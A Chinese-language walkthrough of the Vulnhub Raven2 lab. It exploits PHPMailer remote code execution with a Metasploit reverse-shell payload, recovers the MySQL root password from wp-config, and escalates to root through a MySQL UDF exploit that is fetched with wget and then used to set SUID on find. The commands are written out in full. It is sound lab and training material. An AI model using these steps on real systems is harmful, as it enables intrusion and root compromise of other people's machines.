Vulnhub系列靶机-Raven2

文章目录

  • [Raven2 渗透测试](#Raven2 渗透测试)
    • [1. 信息收集](#1. 信息收集)
      • [1.1 主机探测](#1.1 主机探测)
      • [1.2 端口扫描](#1.2 端口扫描)
      • [1.3 目录爆破](#1.3 目录爆破)
    • [2. 漏洞探测](#2. 漏洞探测)
    • [3. 漏洞利用](#3. 漏洞利用)
      • [3.1 msfconsole](#3.1 msfconsole)
      • [3.2 交互式shell](#3.2 交互式shell)
    • [4. 权限提升](#4. 权限提升)

Raven2 渗透测试

1. 信息收集

1.1 主机探测

sh 复制代码
arp-scan -l

1.2 端口扫描

sh 复制代码
nmap -p- -A 192.168.188.213

通过nmap工具进行端口扫描发现靶机开放了22,80,111,58447端口。

访问Web页面

使用浏览器插件Wappalyzer,查看网站使用的具体框架信息

1.3 目录爆破

sh 复制代码
dirsearch -u 192.168.188.213 -e * -i 200

2. 漏洞探测

访问一下wp-login.php页面

尝试登录发现找不到网站

访问http://192.168.188.213/vendor/页面

点击PATH发现一个flag1

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

点击README.md文件发现是PHPMailer。

PHPMailer的版本信息5.2.16。

经搜索后发现PHPMailer是一个用于发送电子邮件的PHP函数包。在网上搜索资料后发现PHPMailer5.2.16版本的漏洞有远程命令执行漏洞。

Web页面中也有发送邮件的位置,这样就对应上了。

3. 漏洞利用

3.1 msfconsole

使用msfconsole搜索phpmailer

sh 复制代码
search phpmailer
sh 复制代码
info 0

有两个先查看下第一个描述情况。

发现第一个版本需要在5.2.18之下,而之前发现的版本为5.2.16正好小于5.2.18。那么我们直接使用第一个即可。

sh 复制代码
use 0

配置选项如下

sh 复制代码
options
set RHOSTS 192.168.188.213 			  	  # 靶机的IP地址
set TARGETURI /contact.php   			  # 邮件功能页面
set WEB_ROOT /var/www/html    			  # 网站绝对路径
set payload php/meterpreter/reverse_tcp	  # 设置payload
set LHOST 192.168.188.157   			  # kali的IP地址
run

复制生成的0nB8rTnS.php拼接在URL后然后进行访问。

反弹成功。

在/var/www路径下可以看到flag2.txt文件

flag2{6a8ed560f0b5358ecf844108048eb337}

切换为shell形式,搜索所有的flag

sh 复制代码
shell
find ./ -name "flag*"
./html/wordpress/wp-content/uploads/2018/11/flag3.png
f1ag3a0f568aa9de277887f37730d71520d9b}

3.2 交互式shell

使用python一句话反弹交互式shell。

sh 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

尝试搜索wordpress的配置文件

sh 复制代码
find ./ -name "*fig*"

在wp-config.php文件中发现了mysql的数据库账号密码为:

root
R@v3nSecurity

使用账号密码成功登录数据库。

sh 复制代码
mysql -uroot -pR@v3nSecurity

4. 权限提升

MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。

sh 复制代码
ps -aux|grep mysql  				#查看mysql的运行权限
select version();   				#查看mysql版本
select @@basedir;   				#确认mysql安装位置
show variables like '%basedir%';    #确认mysql安装位置
show variables like '%secure%';  	#查看可导出文件位置

MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。

sh 复制代码
show variables like '%plugin%';  	 #查找插件位置
show variables like '%compile%';  	 #查看系统版本

通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到桌面。

sh 复制代码
searchsploit 1518.c  			 #搜索1518.c
locate 1518.c	 				 #查看下本地所存放路径
cp /usr/share/exploitdb/exploits/linux/local/1518.c .  #复制到当前所在文件夹

利用gcc编译,生成1518.so文件。

sh 复制代码
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

命令参数说明

  • -g:生成调试信息。
  • -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
  • -o:执行命令后的文件名。
  • -lc:-l 库 c库名。
  • -Wl:该选项告诉编译器将后面的参数传递给链接器。
  • -soname:则指定了动态库的soname(简单共享名,Short for shared object name)

在kali上使用python开启http服务。

sh 复制代码
python3 -m http.server 7777

在获取的shell中,将该".so"文件传输到靶机上的/tmp目录下。并且使用wget命令下载1518.so文件。将下载的文件赋予执行权限。

sh 复制代码
cd /tmp
wget http://192.168.188.157:7777/1518.so
chmod 777 *

再次登录mysql,并使用一下命令创建自定义函数。

sh 复制代码
# 连接mysql数据库
mysql -uroot -pR@v3nSecurity

# 使用mysql数据库
use mysql;

# 创建foo表
create table foo(line blob);

# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));

# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';

# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');

# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

利用find命名执行whoami,发现当前为root权限。

sh 复制代码
touch 11
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;
cd /
ls
cd root
ls
cat flag4.txt
相关推荐
Clockwiseee2 小时前
php伪协议
windows·安全·web安全·网络安全
Lspecialnx_7 小时前
文件解析漏洞中间件(iis和Apache)
网络安全·中间件
学习溢出8 小时前
【网络安全】逆向工程 练习示例
网络·安全·网络安全·渗透测试·逆向工程
孤独的履行者11 小时前
入门靶机:DC-1的渗透测试
数据库·python·网络安全
Blankspace学12 小时前
Wireshark软件下载安装及基础
网络·学习·测试工具·网络安全·wireshark
小墨&晓末15 小时前
【PythonGui实战】自动摇号小程序
python·算法·小程序·系统安全
CVE-柠檬i16 小时前
Yakit靶场-高级前端加解密与验签实战-全关卡通关教程
网络安全
轨迹H1 天前
kali设置中文输入法
linux·网络安全·渗透测试·kali
cr.sheeper1 天前
Vulnhub靶场Apache解析漏洞
网络安全·apache